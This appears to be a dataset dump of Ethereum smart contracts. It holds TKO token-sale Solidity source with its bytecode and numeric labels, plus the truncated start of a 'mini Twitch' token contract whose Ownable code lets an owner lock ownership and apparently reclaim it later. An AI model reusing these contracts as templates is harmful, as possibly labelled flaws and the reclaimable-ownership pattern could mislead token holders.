address public admin;
mapping(address => uint256) internal totalIndividualWeiAmount;
mapping(address => bool) internal whitelist;
event AdminChanged(address indexed previousAdmin, address indexed newAdmin);
/**
* TkoWhitelist
* @dev TkoWhitelist is the storage for whitelist and total amount by contributor's address.
* @param _admin Address of managing whitelist.
*/
function TkoWhitelist (address _admin) public {
require(_admin != address(0));
admin = _admin;
}
/**
* @dev Throws if called by any account other than the owner or the admin.
*/
modifier onlyOwnerOrAdmin() {
require(msg.sender == owner || msg.sender == admin);
_;
}
/**
* @dev Allows the current owner to change administrator account of the contract to a newAdmin.
* @param newAdmin The address to transfer ownership to.
*/
function changeAdmin(address newAdmin) public onlyOwner {
require(newAdmin != address(0));
emit AdminChanged(admin, newAdmin);
admin = newAdmin;
}
/**
* @dev Returen whether the beneficiary is whitelisted.
*/
function isWhitelisted(address _beneficiary) external view onlyOwnerOrAdmin returns (bool) {
return whitelist[_beneficiary];
}
/**
* @dev Adds single address to whitelist.
* @param _beneficiary Address to be added to the whitelist
*/
function addToWhitelist(address _beneficiary) external onlyOwnerOrAdmin {
whitelist[_beneficiary] = true;
}
/**
* @dev Adds list of addresses to whitelist.
* @param _beneficiaries Addresses to be added to the whitelist
*/
function addManyToWhitelist(address[] _beneficiaries) external onlyOwnerOrAdmin {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
}
}
/**
* @dev Removes single address from whitelist.
* @param _beneficiary Address to be removed to the whitelist
*/
function removeFromWhitelist(address _beneficiary) external onlyOwnerOrAdmin {
whitelist[_beneficiary] = false;
}
/**
* @dev Return total individual wei amount.
* @param _beneficiary Addresses to get total wei amount .
* @return Total wei amount for the address.
*/
function getTotalIndividualWeiAmount(address _beneficiary) external view onlyOwnerOrAdmin returns (uint256) {
return totalIndividualWeiAmount[_beneficiary];
}
/**
* @dev Set total individual wei amount.
* @param _beneficiary Addresses to set total wei amount.
* @param _totalWeiAmount Total wei amount for the address.
*/
function setTotalIndividualWeiAmount(address _beneficiary,uint256 _totalWeiAmount) external onlyOwner {
totalIndividualWeiAmount[_beneficiary] = _totalWeiAmount;
}
/**
* @dev Add total individual wei amount.
* @param _beneficiary Addresses to add total wei amount.
* @param _weiAmount Total wei amount to be added for the address.
*/
function addTotalIndividualWeiAmount(address _beneficiary,uint256 _weiAmount) external onlyOwner {
totalIndividualWeiAmount[_beneficiary] = totalIndividualWeiAmount[_beneficiary].add(_weiAmount);
}
}
/// @title TKO Token Sale contract.
/// @author Takeoff Technology OU - <info@takeoff.ws>
contract TkoTokenSale is FinalizableCrowdsale, Pausable {
using SafeMath for uint256;
uint256 public initialRate;
uint256 public finalRate;
uint256 public limitEther;
uint256 public largeContribThreshold;
uint256 public largeContribPercentage;
TkoWhitelist internal whitelist;
/**
* TkoTokenSale
* @dev TkoTokenPresale sells tokens at a set rate for the specified period.
* Tokens that can be purchased per 1 Ether will decrease linearly over the period.
* Bonus tokens are issued for large contributor at the rate specified.
* If you wish to purchase above the specified amount, you need to be registered in the whitelist.
* @param _openingTime Opening unix timestamp for TKO token pre-sale.
* @param _closingTime Closing unix timestamp for TKO token pre-sale.
* @param _initialRate Number of tokens issued at start (minimum unit) per 1wei.
* @param _finalRate Number of tokens issued at end (minimum unit) per 1wei.
* @param _limitEther Threshold value of purchase amount not required to register in whitelist (unit Ether).
* @param _largeContribThreshold Threshold value of purchase amount in which bonus occurs (unit Ether)
* @param _largeContribPercentage Percentage of added bonus
* @param _wallet Wallet address to store Ether.
* @param _token The address of the token to be sold in the pre-sale. TkoTokenPreSale must have ownership for mint.
* @param _whitelist The address of the whitelist.
*/
function TkoTokenSale (
uint256 _openingTime,
uint256 _closingTime,
uint256 _initialRate,
uint256 _finalRate,
uint256 _limitEther,
uint256 _largeContribThreshold,
uint256 _largeContribPercentage,
address _wallet,
TkoToken _token,
TkoWhitelist _whitelist
)
public
Crowdsale(_initialRate, _wallet, _token)
TimedCrowdsale(_openingTime, _closingTime)
{
initialRate = _initialRate;
finalRate = _finalRate;
limitEther = _limitEther;
largeContribThreshold = _largeContribThreshold;
largeContribPercentage = _largeContribPercentage;
whitelist = _whitelist;
}
/**
* @dev Extend parent behavior to confirm purchase amount and whitelist.
* @param _beneficiary Token purchaser
* @param _weiAmount Amount of wei contributed
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen whenNotPaused {
uint256 limitWeiAmount = limitEther.mul(1 ether);
require( whitelist.isWhitelisted(_beneficiary) ||
whitelist.getTotalIndividualWeiAmount(_beneficiary).add(_weiAmount) < limitWeiAmount);
super._preValidatePurchase(_beneficiary, _weiAmount);
}
/**
* @dev Returns the rate of tokens per wei at the present time.
* Note that, as price _increases_ with time, the rate _decreases_.
* @return The number of tokens a buyer gets per wei at a given time
*/
function getCurrentRate() public view returns (uint256) {
uint256 elapsedTime = now.sub(openingTime);
uint256 timeRange = closingTime.sub(openingTime);
uint256 rateRange = initialRate.sub(finalRate);
return initialRate.sub(elapsedTime.mul(rateRange).div(timeRange));
}
/**
* @dev Overrides parent method taking into account variable rate and add bonus for large contributor.
* @param _weiAmount The value in wei to be converted into tokens
* @return The number of tokens _weiAmount wei will buy at present time
*/
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint256 currentRate = getCurrentRate();
uint256 tokenAmount = currentRate.mul(_weiAmount);
uint256 largeContribThresholdWeiAmount = largeContribThreshold.mul(1 ether);
if ( _weiAmount >= largeContribThresholdWeiAmount ) {
tokenAmount = tokenAmount.mul(largeContribPercentage).div(100);
}
return tokenAmount;
}
/**
* @dev Add wei amount to the address's amount on the whitelist contract.
* @param _beneficiary Address receiving the tokens
* @param _weiAmount Value in wei involved in the purchase
*/
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
whitelist.addTotalIndividualWeiAmount(_beneficiary, _weiAmount);
super._updatePurchasingState(_beneficiary, _weiAmount);
}
/**
* @dev Overrides delivery by minting tokens upon purchase.
* @param _beneficiary Token purchaser
* @param _tokenAmount Number of tokens to be minted
*/
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal onlyWhileOpen whenNotPaused {
// Don't call super._deliverTokens() to transfer token.
// Following call will mint FOR _beneficiary, So need not to call transfer token .
require(TkoToken(token).mint(_beneficiary, _tokenAmount));
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pauseCrowdsale() public onlyOwner whenNotPaused {
TkoToken(token).pause();
super.pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpauseCrowdsale() public onlyOwner whenPaused {
TkoToken(token).unpause();
super.unpause();
}
/**
* @dev called by the owner to change owner of token and whitelist.
*/
function evacuate() public onlyOwner {
TkoToken(token).transferOwnership(wallet);
whitelist.transferOwnership(wallet);
}
/**
* @dev Can be overridden to add finalization logic. The overriding function
* should call super.finalization() to ensure the chain of finalization is
* executed entirely.
*/
function finalization() internal {
TkoToken(token).transferOwnership(wallet);
whitelist.transferOwnership(wallet);
super.finalization();
}
} | 0x60606040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631515bc2b14610149578063202a46cf14610176578063211061091461019f5780632c4e722e146101c85780633f4ba83a146101f15780634042b66f146102065780634b6753bc1461022f5780634bb278f3146102585780634ef05de31461026d578063521eb273146102825780635c975abb146102d757806372d9b86f146103045780638456cb59146103195780638d4e40831461032e5780638da5cb5b1461035b5780639e51051f146103b0578063a8351c03146103d9578063b7a8807c146103ee578063d426b04e14610417578063e84818bc14610440578063ec8ac4d814610469578063f2fde38b14610497578063f7fb07b0146104d0578063fc0c546a146104f9575b6101473361054e565b005b341561015457600080fd5b61015c61061c565b604051808215151515815260200191505060405180910390f35b341561018157600080fd5b610189610628565b6040518082815260200191505060405180910390f35b34156101aa57600080fd5b6101b261062e565b6040518082815260200191505060405180910390f35b34156101d357600080fd5b6101db610634565b6040518082815260200191505060405180910390f35b34156101fc57600080fd5b61020461063a565b005b341561021157600080fd5b6102196106fa565b6040518082815260200191505060405180910390f35b341561023a57600080fd5b610242610700565b6040518082815260200191505060405180910390f35b341561026357600080fd5b61026b610706565b005b341561027857600080fd5b6102806107e2565b005b341561028d57600080fd5b610295610a1b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156102e257600080fd5b6102ea610a41565b604051808215151515815260200191505060405180910390f35b341561030f57600080fd5b610317610a54565b005b341561032457600080fd5b61032c610b69565b005b341561033957600080fd5b610341610c2a565b604051808215151515815260200191505060405180910390f35b341561036657600080fd5b61036e610c3d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103bb57600080fd5b6103c3610c63565b6040518082815260200191505060405180910390f35b34156103e457600080fd5b6103ec610c69565b005b34156103f957600080fd5b610401610d7f565b6040518082815260200191505060405180910390f35b341561042257600080fd5b61042a610d85565b6040518082815260200191505060405180910390f35b341561044b57600080fd5b610453610d8b565b6040518082815260200191505060405180910390f35b610495600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061054e565b005b34156104a257600080fd5b6104ce600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d91565b005b34156104db57600080fd5b6104e3610ee9565b6040518082815260200191505060405180910390f35b341561050457600080fd5b61050c610f79565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60008034915061055e8383610f9e565b610567826111d5565b905061057e8260035461125890919063ffffffff16565b60038190555061058e8382611276565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188484604051808381526020018281526020019250505060405180910390a36106058383611284565b61060d611366565b61061783836113ca565b505050565b60006005544211905090565b60095481565b60085481565b60025481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561069657600080fd5b600660159054906101000a900460ff1615156106b157600080fd5b6000600660156101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60035481565b60055481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561076257600080fd5b600660149054906101000a900460ff1615151561077e57600080fd5b61078661061c565b151561079157600080fd5b6107996113ce565b7f6823b073d48d6e3a7d385eeb601452d680e74bb46afe3255a7d778f3a9b1768160405160405180910390a16001600660146101000a81548160ff021916908315150217905550565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561083e57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2fde38b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b151561091b57600080fd5b5af1151561092857600080fd5b505050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2fde38b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1515610a0957600080fd5b5af11515610a1657600080fd5b505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660159054906101000a900460ff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ab057600080fd5b600660159054906101000a900460ff161515610acb57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633f4ba83a6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b1515610b4f57600080fd5b5af11515610b5c57600080fd5b505050610b6761063a565b565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bc557600080fd5b600660159054906101000a900460ff16151515610be157600080fd5b6001600660156101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600660149054906101000a900460ff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cc557600080fd5b600660159054906101000a900460ff16151515610ce157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638456cb596040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b1515610d6557600080fd5b5af11515610d7257600080fd5b505050610d7d610b69565b565b60045481565b600a5481565b600b5481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ded57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e2957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600080610f04600454426115b390919063ffffffff16565b9250610f1d6004546005546115b390919063ffffffff16565b9150610f366008546007546115b390919063ffffffff16565b9050610f71610f6083610f5284876115cc90919063ffffffff16565b61160790919063ffffffff16565b6007546115b390919063ffffffff16565b935050505090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006004544210158015610fb457506005544211155b1515610fbf57600080fd5b600660159054906101000a900460ff16151515610fdb57600080fd5b610ff8670de0b6b3a76400006009546115cc90919063ffffffff16565b9050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633af32abf846040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156110b657600080fd5b5af115156110c357600080fd5b50505060405180519050806111bb5750806111b983600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634d42c7e4876040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561119457600080fd5b5af115156111a157600080fd5b5050506040518051905061125890919063ffffffff16565b105b15156111c657600080fd5b6111d08383611622565b505050565b6000806000806111e3610ee9565b92506111f885846115cc90919063ffffffff16565b9150611217670de0b6b3a7640000600a546115cc90919063ffffffff16565b9050808510151561124d5761124a606461123c600b54856115cc90919063ffffffff16565b61160790919063ffffffff16565b91505b819350505050919050565b600080828401905083811015151561126c57fe5b8091505092915050565b611280828261164f565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166353b6f76683836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b151561134857600080fd5b5af1151561135557600080fd5b5050506113628282611773565b5050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f1935050505015156113c857600080fd5b565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2fde38b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15156114ab57600080fd5b5af115156114b857600080fd5b505050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2fde38b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b151561159957600080fd5b5af115156115a657600080fd5b5050506115b1611777565b565b60008282111515156115c157fe5b818303905092915050565b60008060008414156115e15760009150611600565b82840290508284828115156115f257fe5b041415156115fc57fe5b8091505b5092915050565b600080828481151561161557fe5b0490508091505092915050565b600454421015801561163657506005544211155b151561164157600080fd5b61164b8282611779565b5050565b600454421015801561166357506005544211155b151561166e57600080fd5b600660159054906101000a900460ff1615151561168a57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1983836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561174d57600080fd5b5af1151561175a57600080fd5b50505060405180519050151561176f57600080fd5b5050565b5050565b565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156117b557600080fd5b600081141515156117c557600080fd5b50505600a165627a7a72305820c9d6fb3e1dfcc07ece2bf9d7853dbe583c5f65f538726d387997f26e0087a35b0029 | [
16,
7
] |
0xf343e60b3dba7107c4fa8bc9002054190ce47783 | /**
mini Twitch - TWITCHY
Telegram : https://t.me/miniTWITCH
Website: http://www.minitwitch.org/
*/
pragma solidity ^0.8.9;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
//function _msgSender() internal view virtual returns (address payable) {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
